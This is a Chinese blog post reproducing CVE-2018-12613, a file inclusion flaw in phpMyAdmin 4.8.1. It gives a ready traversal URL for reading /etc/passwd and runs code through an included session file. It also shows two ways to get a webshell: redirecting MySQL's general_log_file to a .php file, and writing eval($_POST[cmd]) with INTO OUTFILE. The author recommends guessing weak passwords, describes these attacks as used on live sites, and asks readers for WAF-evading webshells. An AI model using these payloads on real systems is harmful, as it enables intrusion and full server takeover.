1. 程式人生 > >18.phpmyadmin 4.8.1 遠端檔案包含漏洞(CVE-2018-12613)

18.phpmyadmin 4.8.1 遠端檔案包含漏洞(CVE-2018-12613)

phpmyadmin 4.8.1 遠端檔案包含漏洞(CVE-2018-12613)

phpMyAdmin是一套開源的、基於Web的MySQL資料庫管理工具。其index.php中存在一處檔案包含邏輯,

通過二次編碼即可繞過檢查,造成遠端檔案包含漏洞。

受影響版本:

phpMyAdmin 4.8.0和4.8.1受到影響。

漏洞復現:

本次實驗環境基於docker搭建,啟動環境,使用一波phpmyadmin的弱口令,像

root/root,root/123456,root/toor....登進後臺

不得不說phpmyadmin自從2.x版本有個前臺登陸繞過後,到現在前臺還沒出現過其他的漏洞,

希望廣大夥伴多多挖掘呀!!

使用弱口令 test/test ,成功登陸phpmyadmin後臺:

訪問 http://192.168.0.132:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

可見/etc/passwd被讀取,說明檔案包含漏洞存在:

利用方式也比較簡單,可以執行一下  SELECT '<?php phpinfo()?>'; ,然後檢視自己的sessionid(cookie中phpMyAdmin的值):

這樣對應的SESSION檔案為 /tmp/sess_sessionid

然後在網址中包含session檔案即可:

可以看到順利執行了phpinfo();

可想而知如果我們select一個php一句話木馬,用菜刀連線,整站就可以被我們控制。

.......

實戰演練:

到phpmyadmin後臺後,getshell方法還很多,比如利用改變寫入的日誌的路徑,寫入我們的一句話木馬,

首先呢,介紹兩個MySQL全域性變數(general_log、general_log file)

  •     general log 指的是日誌儲存狀態,一共有兩個值(ON/OFF)ON代表開啟 OFF代表關閉。
  •     general log file 指的是日誌的儲存路徑

mysql 5.0版本以上會建立日誌檔案,修改日誌的全域性變數,也可以getshell。但是也要對生成的日誌有可讀可寫的許可權。

檢視日誌狀態:

show global variables like '%secure%';

general_log=ON 時,所執行的sql語句都會出現在 /var/lib/mysql/1e164993aaf5.log 檔案

那麼,如果把 general_log_file 的路徑修改為 /var/lib/mysql/1.php,那麼所執行的sql語句就會儲存在

1.php中,如果我們執行一個php小馬,就可以getshell

如果輸入不存在的路徑時:

或許我們可以利用這個來探測目錄結構,如果路徑正確的話

這樣的話在相應的目錄下就會生成一個1.php,由於我們是實戰,所以無法截圖...

再次檢視日誌的狀態:

OK!!!滿足要求!

將一句話木馬寫入1.php檔案,既然是日誌檔案,我們select查詢自然也會被儲存在日誌裡面:

我們構造 :select '<?php phpinfo();?>'

這時候相當於我們把 <?php phpinfo();?> 寫入到日誌 1.php中,我們嘗試訪問

日誌檔案:1.php

成功getshell!!!

-------------------------------------------------------

還有一種方法就是一句話木馬的寫入:

select '<?php eval($_POST[cmd]); ?>' into outfile 'D:/phpStudy/www/1.php';

當然,前提是你得知道網站的絕對路徑,方法也有很多,比如通過報錯獲取路徑,通過phpinfo.php等等

但在新版的mysql中,這句話並沒有執行成功,應為mysql新特性secure_file_priv會對讀寫檔案產生影響,

該引數用來限制匯入匯出,可以檢視該引數:

當secure_file_priv為NULL時,表示限制mysql不允許匯入匯出。所以爆出錯誤

要想使得該語句匯出成功,則需要在mysql資料夾下修改my.ini 檔案,

在[mysqld]內加入secure_file_priv ="" 即可

當secure_file_priv的值沒有具體值時,表示不對mysqld 的匯入|匯出做限制

此時就可以執行匯出命令,這裡不再復現

 

其實phpmyadmin的安全性一直在提高

比如博主昨天發現一個站,mysql操作已經安裝上了waf,會拒絕執行危險函式,像

eval(),assert()....並且資料庫的sql執行當見到 ; 號,會自動認為語句結束,這對我們構造

過狗的馬造成了困擾,如果有phpmyadmin過狗的好馬,一點更要私聊博主哦!